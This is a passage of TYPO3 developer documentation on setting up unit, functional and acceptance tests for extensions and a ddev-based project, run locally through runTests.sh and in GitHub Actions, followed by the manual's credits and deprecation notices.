Package operations: 75 installs, 0 updates, 0 removals
- Installing typo3/cms-composer-installers ...
...
- Installing typo3/testing-framework ...
...
Writing lock file
Generating autoload files
Generating class alias map file
Inserting class alias loader into main autoload.php file
lolli@apoc /var/www/local/git/enetcache $
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To clean up any errors created at this point, we can always run rm -r .Build/ composer.lock later and
call composer install again. We now have a basic TYPO3 instance in our .Build/ folder to execute
our tests in:
lolli@apoc /var/www/local/git/enetcache $ cd .Build/
lolli@apoc /var/www/local/git/enetcache/.Build $ ls
bin vendor Web
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/
index.php typo3 typo3conf
lolli@apoc /var/www/local/git/enetcache/.Build $ ls Web/typo3/sysext/
backend Core Extbase fluid frontend
lolli@apoc /var/www/local/git/enetcache/.Build $ ls -l Web/typo3conf/ext/
total 0
lrwxrwxrwx 1 lolli www-data 29 Nov 5 14:19 enetcache -> /var/www/local/git/enetcache/
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The package typo3/testing-framework that we added as require-dev dependency has some basic Core
extensions set as dependency, we end up with the Core extensions backend, core, extbase,
fluid and frontend in .Build/Web/typo3/sysext.
We now have a full TYPO3 instance. It is not installed, there is no database, but we are now at the point
to begin unit testing!
search for the word "enetcache" in runTests.sh and replace it with
your extension key.
You may want to change the PHP_VERSION in runTests.sh to your minimally
supported PHP version. (You can also specify the version on the command line
using runTests.sh with -p.)
Let's run the unit tests:
command line
Build/Scripts/runTests.sh
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You may now see something similar to this:
Creating network "local_default" with the default driver
PHP 8.2.6 (cli) (built: May 13 2023 01:04:28) (NTS)
PHPUnit 10.2.0 by Sebastian Bergmann and contributors.
Runtime: PHP 8.2.6
Configuration: /var/www/mysite/typo3conf/ext/styleguide/Build/UnitTests.xml
. 1 / 1 (100%)
Time: 00:00.007, Memory: 12.00 MB
OK (1 test, 5 assertions)
Removing local_unit_run_1f529b0fb49d ... done
Removing network local_default
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If there is no test output, try changing the verbosity when you run runTests.sh:
enetcache> Build/Scripts/runTests.sh -v
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Use -h to see all options:
enetcache> Build/Scripts/runTests.sh -h
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On some versions of MacOS you might get the following error message when executing runTests.sh:
$ ./Build/Scripts/runTests.sh
readlink: illegal option -- f
usage: readlink [-n] [file ...]
Creating network "local_default" with the default driver
ERROR: Cannot create container for service unit: invalid volume specification: '.:.:rw':
invalid mount config for type "volume": invalid mount path: '.' mount path must be absolute
Removing network local_default
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To solve this issue follow the steps described here to install greadlink which supports the needed --f option.
Rather than changing the runTests.sh to then use greadlink and thus risk breaking your automated testing via GitHub Actions consider symlinking your readlink executable to the newly installed greadlink with the following command as mentioned in the comments:
The runTests.sh file of enetcache comes with some additional features,
for example:
it is possible to execute composer update from within a container
using Build/Scripts/runTests.sh -s composerUpdate
it is possible to execute unit tests with a several different PHP versions
(with the -p option). This is available for PHP linting, too (-s lint).
Similar to Core test execution it is possible
to break point tests using xdebug (-x option)
typo3gmbh containers can be updated using runTests.sh -u
verbose output is available with -v
help is available with runTests.sh -h
Github Actions
With basic testing in place we now want automatic execution of tests whenever something is merged to the repository and if
people create pull requests for our extension, we want to make sure our carefully crafted test setup actually
works. We'll use the CI service of Github Actions to take care of
that. It's free for open source projects.
In order to tell the CI what to do, create a new workflow file in .github/workflows/ci.yml
In case of enetcache, we let Github Actions test the extension with the several PHP versions.
Each of these PHP Versions will also be tested with the highest and lowest compatible dependencies (defined in strategy.matrix.minMax).
All defined steps run on the same checkout, so we will see six test runs in total, one per PHP version with each minMax property.
Each run will do a separate checkout, composer install first, then all the test and linting jobs we defined.
It's possible to see executed test runs online.
Green :)
Note we again use runTests.sh to actually run tests. So the environment our tests are executed in is
identical to our local environment. It's all dockerized. The environment provided by Github Actions is only used
to set up the docker environment.
Testing styleguide
The above enetcache extension is an example for a common extension that has few testing
needs: It just comes with a couple of unit and functional tests. Executing these and maybe adding PHP linting is recommended.
More ambitious testing needs additional effort. As an example, we pick the styleguide extension. This extension is developed "core-near", Core itself
uses styleguide to test various FormEngine details with acceptance tests and if developing Core, that
extension is installed as a dependency by default. However, styleguide is just a casual extension: It is released
to composer's packagist.org and can be loaded as
dependency (or require-dev dependency) in any project.
The styleguide extension follows the Core branching principle, too: At the time of this writing, its main
branch is dedicated to be compatible with Core version 13. There are branches compatible with older Core versions, too.
In comparison to enetcache, styleguide comes with additional test suites: It has functional and
acceptance tests! Our goal is to run the functional tests with different database platforms, and to
execute the acceptance tests. Both locally and by GitHub Actions and with different PHP versions.
Basic setup
The setup is similar to what has been outlined in detail with enetcache above: We add properties to the
composer.json file to make it a valid
root composer.json defining a project. The require-dev section is a bit longer as we also
need codeception to run acceptance tests and specify a couple of additional
Core extensions for a basic TYPO3 instance. We additionally add an app-dir directive in the extra section.
Next, we have another iteration of runTests.sh
and docker-compose.yml that are
longer than the versions of enetcache to handle the functional and acceptance tests setups, too.
With this in place we can run unit tests:
git clone git@github.com:TYPO3/styleguide.git
cd styleguide
Build/Scripts/runTests.sh -s composerUpdate
# Run unit tests
Build/Scripts/runTests.sh
# ... OK (1 test, 4 assertions)
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Functional testing
At the time writing, there is only a single functional test, but this one is important as
it tests crucial functionality within styleguide: The extension comes with several different TCA scenarios
to show all sorts of database relation and field possibilities supported within TYPO3. To simplify testing,
code can generate a page tree and demo data for all of these scenarios. Codewise, this is a huge
section of the extension and it uses quite some Core API to do its job. And yes, the generator breaks
once in a while. A perfect scenario for a functional test!
(slightly stripped):
<?phpnamespaceTYPO3\CMS\Styleguide\Tests\Functional\TcaDataGenerator;
useTYPO3\CMS\Core\Core\Bootstrap;
useTYPO3\CMS\Styleguide\TcaDataGenerator\Generator;
useTYPO3\TestingFramework\Core\Functional\FunctionalTestCase;
/**
* Test case
*/classGeneratorTestextendsFunctionalTestCase{
/**
* @var array Have styleguide loaded
*/protected $testExtensionsToLoad = [
'typo3conf/ext/styleguide',
];
/**
* Just a dummy to show that at least one test is actually executed on mssql
*
* @test
*/publicfunctiondummy(){
$this->assertTrue(true);
}
/**
* @test
* @group not-mssql
* @todo Generator does not work using mssql DMBS yet ... fix this
*/publicfunctiongeneratorCreatesBasicRecord(){
// styleguide generator uses DataHandler for some parts. DataHandler needs an// initialized BE user with admin right and the live workspace.
Bootstrap::initializeBackendUser();
$GLOBALS['BE_USER']->user['admin'] = 1;
$GLOBALS['BE_USER']->user['uid'] = 1;
$GLOBALS['BE_USER']->workspace = 0;
Bootstrap::initializeLanguageObject();
// Verify there is no tx_styleguide_elements_basic yet
$queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
$queryBuilder->getRestrictions()->removeAll();
$count = (int)$queryBuilder->count('uid')
->from('tx_styleguide_elements_basic')
->executeQuery()
->fetchOne();
$this->assertEquals(0, $count);
$generator = new Generator();
$generator->create();
// Verify there is at least one tx_styleguide_elements_basic record now
$queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
$queryBuilder->getRestrictions()->removeAll();
$count = (int)$queryBuilder->count('uid')
->from('tx_styleguide_elements_basic')
->executeQuery()
->fetchOne();
$this->assertGreaterThan(0, $count);
}
}
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Ah, shame on us! The data generator does not work well if executed using MSSQL as our DBMS. It is thus marked as
@group not-mssql at the moment. We need to fix that at some point. The rest is rather straight forward:
We extend from
\TYPO3\TestingFramework\Core\Functional\FunctionalTestCase, instruct it to load
the styleguide extension (
$testExtensionsToLoad), need some additional magic for the DataHandler, then
call
$generator->create(); and verify it created at least one record in one of our database tables.
That's it. It executes fine using runTests.sh:
lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s functional
Creating network "local_default" with the default driver
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
PHP ...
PHPUnit ... by Sebastian Bergmann and contributors.
.. 2 / 2 (100%)
Time: 5.23 seconds, Memory: 28.00MB
OK (2 tests, 3 assertions)
Stopping local_mariadb10_1 ... done
Removing local_functional_mariadb10_run_1 ... done
Removing local_mariadb10_1 ... done
Removing network local_default
lolli@apoc /var/www/local/git/styleguide $
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The good thing about this test is that it actually triggers quite some functionality below. It does tons of
database inserts and updates and uses the Core DataHandler for various details. If something goes wrong in
this entire area, it would throw an exception, the functional test would recognize this and fail. But if
its green, we know that a large parts of that extension are working correctly.
If looking at details - for instance if we try to fix the MSSQL issue - runTests.sh can be called with -x
again for xdebug break pointing. Also, the functional test execution becomes a bit funny: We are creating
a TYPO3 test instance within .Build/ folder anyway. But the functional test setup again creates instances
for the single tests cases. The code that is actually executed is now located in a sub folder
of typo3temp/ of .Build/, in this test case it is functional-9ad521a:
lolli@apoc /var/www/local/git/styleguide $ ls -l .Build/Web/typo3temp/var/tests/functional-9ad521a/
total 16
drwxr-sr-x 4 lolli www-data 4096 Nov 5 17:35 fileadmin
lrwxrwxrwx 1 lolli www-data 50 Nov 5 17:35 index.php -> /var/www/local/git/styleguide/.Build/Web/index.php
lrwxrwxrwx 1 lolli www-data 46 Nov 5 17:35 typo3 -> /var/www/local/git/styleguide/.Build/Web/typo3
drwxr-sr-x 4 lolli www-data 4096 Nov 5 17:35 typo3conf
lrwxrwxrwx 1 lolli www-data 40 Nov 5 17:35 typo3_src -> /var/www/local/git/styleguide/.Build/Web
drwxr-sr-x 4 lolli www-data 4096 Nov 5 17:35 typo3temp
drwxr-sr-x 2 lolli www-data 4096 Nov 5 17:35 uploads
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This can be confusing at first, but it starts making sense the more you use it.
Also, the docker-compose.yml file contains a setup to start needed databases for the functional tests
and runTests.sh is tuned to call the different scenarios.
Acceptance testing
Not enough! The styleguide extension adds a module to the TYPO3 backend to the Topbar > Help section.
Next to other things, this module adds buttons to create and delete the demo
data that has been functional tested above already. To verify this works in the backend as well, styleguide
comes with some straight acceptance tests in Tests/Acceptance/Backend/ModuleCest:
<?phpdeclare(strict_types = 1);
namespaceTYPO3\CMS\Styleguide\Tests\Acceptance\Backend;
useTYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;
useTYPO3\TestingFramework\Core\Acceptance\Helper\Topbar;
/**
* Tests the styleguide backend module can be loaded
*/classModuleCest{
/**
* Selector for the module container in the topbar
*
* @var string
*/publicstatic $topBarModuleSelector = '#typo3-cms-backend-backend-toolbaritems-helptoolbaritem';
/**
* @param BackendTester $I
*/publicfunction_before(BackendTester $I){
$I->useExistingSession('admin');
}
/**
* @param BackendTester $I
*/publicfunctionstyleguideInTopbarHelpCanBeCalled(BackendTester $I){
$I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
$I->canSee('Styleguide', self::$topBarModuleSelector);
$I->click('Styleguide', self::$topBarModuleSelector);
$I->switchToContentFrame();
$I->see('TYPO3 CMS Backend Styleguide', 'h1');
}
/**
* @depends styleguideInTopbarHelpCanBeCalled
* @param BackendTester $I
*/publicfunctioncreatingDemoDataWorks(BackendTester $I){
$I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
$I->canSee('Styleguide', self::$topBarModuleSelector);
$I->click('Styleguide', self::$topBarModuleSelector);
$I->switchToContentFrame();
$I->see('TYPO3 CMS Backend Styleguide', 'h1');
$I->click('TCA / Records');
$I->waitForText('TCA test records');
$I->click('Create styleguide page tree with data');
$I->waitForText('A page tree with styleguide TCA test records was created.', 300);
}
/**
* @depends creatingDemoDataWorks
* @param BackendTester $I
*/publicfunctiondeletingDemoDataWorks(BackendTester $I){
$I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
$I->canSee('Styleguide', self::$topBarModuleSelector);
$I->click('Styleguide', self::$topBarModuleSelector);
$I->switchToContentFrame();
$I->see('TYPO3 CMS Backend Styleguide', 'h1');
$I->click('TCA / Records');
$I->waitForText('TCA test records');
$I->click('Delete styleguide page tree and all styleguide data records');
$I->waitForText('The styleguide page tree and all styleguide records were deleted.', 300);
}
}
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There are three tests: One verifies the backend module can be called, one creates demo data, the last
one deletes demo data again. The codeception setup needs a bit more attention to setup, though. The entry point
is the main codeception.yml file
extended by the backend suite,
a backend tester and
a codeception bootstrap extension
that instructs the basic typo3/testing-framework acceptance bootstrap to load the styleguide extension and
have some database fixtures included to easily log in to the backend. Additionally, the runTests.sh and
docker-compose.yml files take care of adding selenium-chrome and a web server to actually execute the tests:
lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s acceptance
Creating network "local_default" with the default driver
Creating local_chrome_1 ... done
Creating local_web_1 ... done
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
Codeception PHP Testing Framework ...
Powered by PHPUnit ... by Sebastian Bergmann and contributors.
Running with seed:
Generating BackendTesterActions...
TYPO3\CMS\Styleguide\Tests\Acceptance\Support.Backend Tests (3) -------------------------------------------------------
Modules: WebDriver, \TYPO3\TestingFramework\Core\Acceptance\Helper\Acceptance, \TYPO3\TestingFramework\Core\Acceptance\Helper\Login, Asserts
-----------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/local/git/styleguide/Tests/../.Build/Web/typo3temp/var/tests/AcceptanceReports/
Directory Format: record_5be078fb43f86_{filename}_{testname} ----
Database Connection: {"Connections":{"Default":{"driver":"mysqli","dbname":"func_test_at","host":"mariadb10","user":"root","password":"funcp"}}}
Loaded Extensions: ["core","extbase","fluid","backend","about","install","frontend","typo3conf/ext/styleguide"]
ModuleCest: Styleguide in topbar help can be called
...
Time: 27.89 seconds, Memory: 28.00MB
OK (3 tests, 6 assertions)
Stopping local_mariadb10_1 ... done
Stopping local_chrome_1 ... done
Stopping local_web_1 ... done
Removing local_acceptance_backend_mariadb10_run_1 ... done
Removing local_mariadb10_1 ... done
Removing local_chrome_1 ... done
Removing local_web_1 ... done
Removing network local_default
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Ok, this setup is a bit more effort, but we end up with a browser automatically clicking things in
an ad-hoc TYPO3 instance to verify this extension can perform its job. If something goes wrong, screenshots
of the failed run can be found in .Build/Web/typo3temp/var/tests/AcceptanceReports/.
Github Actions
Now we want all of this automatically checked using Github Actions. As before, we define the jobs in .github/workflows/tests.yml:
name:testson:push:pull_request:schedule:-cron:'42 5 * * *'jobs:testsuite:name:alltestsruns-on:ubuntu-20.04strategy:# This prevents cancellation of matrix job runs, if one or more already failed# and let the remaining matrix jobs be executed anyway.fail-fast:falsematrix:php:['8.1','8.2']steps:-name:Checkoutuses:actions/checkout@v3-name:Installdependenciesrun:Build/Scripts/runTests.sh-p${{matrix.php}}-scomposerUpdate-name:Composervalidaterun:Build/Scripts/runTests.sh-p${{matrix.php}}-scomposerValidate-name:LintPHPrun:Build/Scripts/runTests.sh-p${{matrix.php}}-slint-name:CGLrun:Build/Scripts/runTests.sh-n-p${{matrix.php}}-scgl-name:phpstanrun:Build/Scripts/runTests.sh-p${{matrix.php}}-sphpstan-e"--error-format=github"-name:UnitTestsrun:Build/Scripts/runTests.sh-p${{matrix.php}}-sunit-name:FunctionalTestswithmariadbandmysqlirun:Build/Scripts/runTests.sh-p${{matrix.php}}-dmariadb-amysqli-sfunctional-name:FunctionalTestswithmariadbandpdo_mysqlrun:Build/Scripts/runTests.sh-p${{matrix.php}}-dmariadb-apdo_mysql-sfunctional-name:FunctionalTestswithmysqlandmysqlirun:Build/Scripts/runTests.sh-p${{matrix.php}}-dmysql-amysqli-sfunctional-name:FunctionalTestswithmysqlandpdo_mysqlrun:Build/Scripts/runTests.sh-p${{matrix.php}}-dmysql-apdo_mysql-sfunctional-name:FunctionalTestswithpostgresrun:Build/Scripts/runTests.sh-p${{matrix.php}}-dpostgres-sfunctional-name:FunctionalTestswithsqliterun:Build/Scripts/runTests.sh-p${{matrix.php}}-dsqlite-sfunctional-name:BuildCSSrun:Build/Scripts/runTests.sh-sbuildCss
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This is similar to the enetcache example, but does some more: The functional tests are executed
with three different DBMS (MariaDB, Postgres, sqlite), and the acceptance tests are executed, too.
This setup takes some time to complete on Github Actions. But, it's green!
Acceptance testing of site_introduction
Introduction
Testing entire projects is somehow different from Core and extension testing. As a developer
or maintainer of a specific TYPO3 instance, you probably do not want to test extension details
too much - those should have been tested on an extension level already. And you probably also
do not want to check too many TYPO3 backend details but look for acceptance testing of your
local development, stage and live frontend website instead.
Project testing is thus probably wired into your specific CI and deployment environment. Maybe
you want to automatically fire your acceptance tests as soon as some code has been merged to
your projects develop branch and pushed to a staging system?
Documenting all the different decisions that may have been taken by agencies and other project
developers is way too much for this little document. We thus document only one example
how project testing could work: We have some "site" repository based on ddev and add basic acceptance testing to it, executed
locally and by GitHub Actions.
This is thought as an inspiration you may want to adapt for your project.
Project site-introduction
The site-introduction TYPO3 project is a
straight ddev based setup that aims to simplify handling the introduction extension. It delivers everything needed
to have a working introduction based project, to manage content and export it for new
introduction extension releases.
Since we're lazy and like well defined but simply working environments, this project is
based on ddev. The repository is a simple project setup that defines a working
TYPO3 instance. And we want to make sure we do not break main parts if we fiddle with it.
Just like any other projects wants.
The quick start for an own site based on this repository boils down to these commands, with
more details mentioned in README.md:
This will start various containers: A database, a phpmyadmin instance, and a web server. If all
goes well, the instance is reachable on https://introduction.ddev.site.
Local acceptance testing
There has been one main patch adding
acceptance testing to the site-introduction repository.
The goal is to run some acceptance tests against the current website that has been
set up using ddev and execute this via GitHub Actions on each run.
The solution is to add the basic selenium-chrome container as additional ddev container, add
codeception as require-dev dependency, add some codeception actor, a test and a basic codeception.yml
file. Tests are then executed within the container to the locally running ddev setup.
Let's have a look at some more details: ddev allows to add further containers to the setup. We did
that for the selenium-chrome container that pilots the acceptance tests as .ddev/docker-compose.chrome.yaml:
With this in place and calling ddev start, another container with name ddev-introduction-chrome
is added to the other containers, running in the same docker network. More information about
setups like these can be found in the ddev documentation.
To execute acceptance tests in this installation you have to activate this file, usually it is now appended
with the suffix .inactive and therefore not used when DDEV starts. To activate acceptance tests the file
.ddev/docker-compose.chrome.yaml.inactive has to be renamed to .ddev/docker-compose.chrome.yaml.
By default acceptance tests are disabled because they slow down other tests significantly.
Next, after adding codeception as require-dev dependency in composer.json, we need a
basic Tests/codeception.yml file:
This tells codeception there is a selenium instance at ddev-introduction-chrome with chrome,
the website is reachable as https://introduction.ddev.site, it enables some codeception plugins
and specifies a couple of logging details. The codeception documentation
goes into details about these.
Now we need a simple first test which is added as Tests/Acceptance/Frontend/FrontendPagesCest.php:
<?phpdeclare(strict_types = 1);
namespaceBk2k\SiteIntroduction\Tests\Acceptance\Frontend;
useBk2k\SiteIntroduction\Tests\Acceptance\Support\AcceptanceTester;
classFrontendPagesCest{
/**
* @param AcceptanceTester $I
*/publicfunctionfirstPageIsRendered(AcceptanceTester $I){
$I->amOnPage('/');
$I->see('Open source, enterprise CMS delivering content-rich digital experiences on any channel, any device, in any language');
$I->click('Customize');
$I->see('Incredible flexible');
}
}
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It just calls the homepage of our instance, clicks one of the links and verifies some text is
shown. Straight, but enough to see if the basic instance does work.
That's it. We can now execute the acceptance test suite by executing a command in the
ddev PHP container:
lolli@apoc /var/www/local/site-introduction $ ddev exec bin/codecept run acceptance -d -c Tests/codeception.yml
Codeception PHP Testing Framework v2.5.6
Powered by PHPUnit 7.5.20 by Sebastian Bergmann and contributors.
Running with seed:
Bk2k\SiteIntroduction\Tests\Acceptance\Support.acceptance Tests (1) -------------------------------------------------------------------------------------------------
Modules: Asserts, WebDriver
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/html/Tests/../var/log/_output/
Directory Format: record_5be441bbdc8ed_{filename}_{testname} ----
FrontendPagesCest: First page is rendered
Signature: Bk2k\SiteIntroduction\Tests\Acceptance\Frontend\FrontendPagesCest:firstPageIsRendered
Test: Acceptance/Frontend/FrontendPagesCest.php:firstPageIsRendered
Scenario --
I am on page "/"
[GET] https://introduction.ddev.site/
I see "Open source, enterprise CMS delivering content-rich digital experiences on any channel, any device, in any language"
I click "Customize"
I see "Incredible flexible"
PASSED
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Records saved into: file:///var/www/html/Tests/../var/log/_output/records.html
Time: 8.46 seconds, Memory: 8.00MB
OK (1 test, 2 assertions)
lolli@apoc /var/www/local/site-introduction $
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Done: Local test execution of a projects acceptance test!
GitHub Actions
With local testing in place, we now want tests to run automatically when something is merged
into the repository, and when people create pull requests for our project, we want to make sure
that our carefully crafted test setup actually works. We're going to use Github's Actions CI
service to get that done. It's free for open source projects.
To tell the CI what to do, create a new workflow file in
.github/workflows/tests.yml
It's possible to see executed test runs online.
Green :)
Summary
This chapter is a show case how project testing can be done. Our example project makes it easy for us since
the ddev setup allows us to fully kickstart the entire instance and then run tests on it. Your project setup
may be probably different, you may want to run tests against some other web endpoint, you may want to trigger
that from within your CI and deployment phase and so on. These setups are out of scope of this document, but
maybe the chapter is a good starting point and you can derive your own solution from it.
About This Manual
TYPO3 is known for its extensibility. To really benefit from
this power, a complete documentation is needed: "TYPO3 Explained" aims to
provide such information to everyone. Not all areas are covered with the
same amount of detail, but at least some pointers are provided.
The document does not contain any significant information about
the frontend of TYPO3. Creating templates, setting up TypoScript
objects etc. is not the scope of the document, it addresses the
backend and management part of the Core only.
The TYPO3 Documentation Team hopes that this document will form a complete picture
of the TYPO3 Core architecture. It will hopefully be the knowledge base
of choice in your work with TYPO3.
Intended Audience
This document is intended to be a reference for TYPO3 developers and partially
for integrators. The document explains all major parts of TYPO3 and the concepts.
Some chapters presumes knowledge in the technical end: PHP, MySQL, Unix etc, depending
on the specific chapter.
The goal is to take you "under the hood" of TYPO3. To make the
principles and opportunities clear and less mysterious. To educate you
to help continue the development of TYPO3 along the already
established lines so we will have a consistent CMS application in a
future as well. And hopefully this teaching on the deep technical level
will enable you to educate others higher up in the "hierarchy". Please
consider that as well!
Code examples
Many of the code examples found in this document come from the TYPO3
Core itself.
Quite a few others come from the "styleguide"
extension. You can install it, if you want to try out these examples yourself and
use them as a basis for your own extensions.
Feedback and Contribute
If you find an error in this manual, please be so kind to hit
the "Edit me on GitHub" button in the top right corner
and submit a pull request via GitHub.
Maintaining high quality documentation requires time and effort
and the TYPO3 Documentation Team always appreciates support.
If you want to support us, please join the slack channel #typo3-documentation
on Slack (Register for Slack).
And finally, as a last resort, you can get in touch with the documentation team
by mail.
Credits
This manual was originally written by Kasper Skårhøj. It was further
maintained, refreshed and expanded by François Suter.
The first version of the security chapter has been written by Ekkehard Guembel and Michael Hirdes
and we would like to thank them for this. Further thanks to the TYPO3 Security Team for
their work for the TYPO3 project. A special thank goes to Stefan Esser for his books and
articles on PHP security, Jochen Weiland for an initial foundation and Michael Schams
for compiling the content of the security chapter and coordinating the collaboration between
several teams. He managed the whole process of getting the Security Guide to a high quality.
Dedication
I want to dedicate this document to the people in the TYPO3 community
who have the discipline to do the boring job of writing
documentation for their extensions or contribute to the TYPO3
documentation in general. It's great to have good coders, but it's
even more important to have coders with character to carry their work
through till the end - even when it means spending days writing good
documents. Go for completeness!
- kasper
Sitemap
RequireJS dependency handling
Attention
The RequireJS project has been discontinued and was therefore
replaced by native ECMAScript v6/v11 modules in TYPO3 v12.0. The
infrastructure for configuration and loading of RequireJS
modules was deprecated with v12.0 and has been removed in TYPO3 v13. See
RequireJS to ES6 migration.
Use RequireJS in your own extension
Attention
The RequireJS project has been discontinued and was therefore
replaced by native ECMAScript v6/v11 modules in TYPO3 v12.0. The
infrastructure for configuration and loading of RequireJS
modules was deprecated with v12.0 and has been removed in TYPO3 v13. See
RequireJS to ES6 migration.
RequireJS (Removed)
Attention
The RequireJS project has been discontinued and was therefore
replaced by native ECMAScript v6/v11 modules in TYPO3 v12.0. The
infrastructure for configuration and loading of RequireJS
modules was deprecated with v12.0 and has been removed in TYPO3 v13. See
RequireJS to ES6 migration.
Shim library to use it as own RequireJS modules
Attention
The RequireJS project has been discontinued and was therefore
replaced by native ECMAScript v6/v11 modules in TYPO3 v12.0. The
infrastructure for configuration and loading of RequireJS
modules was deprecated with v12.0 and has been removed in TYPO3 v13. See
RequireJS to ES6 migration.
Enumerations
Changed in version 14.0
The abstract class
\TYPO3\CMS\Core\Type\Enumeration was deprecated
with TYPO3 v13.0 and removed with TYPO3 v14.0. Classes extending
Enumeration need to be converted into PHP built-in
backed enums.
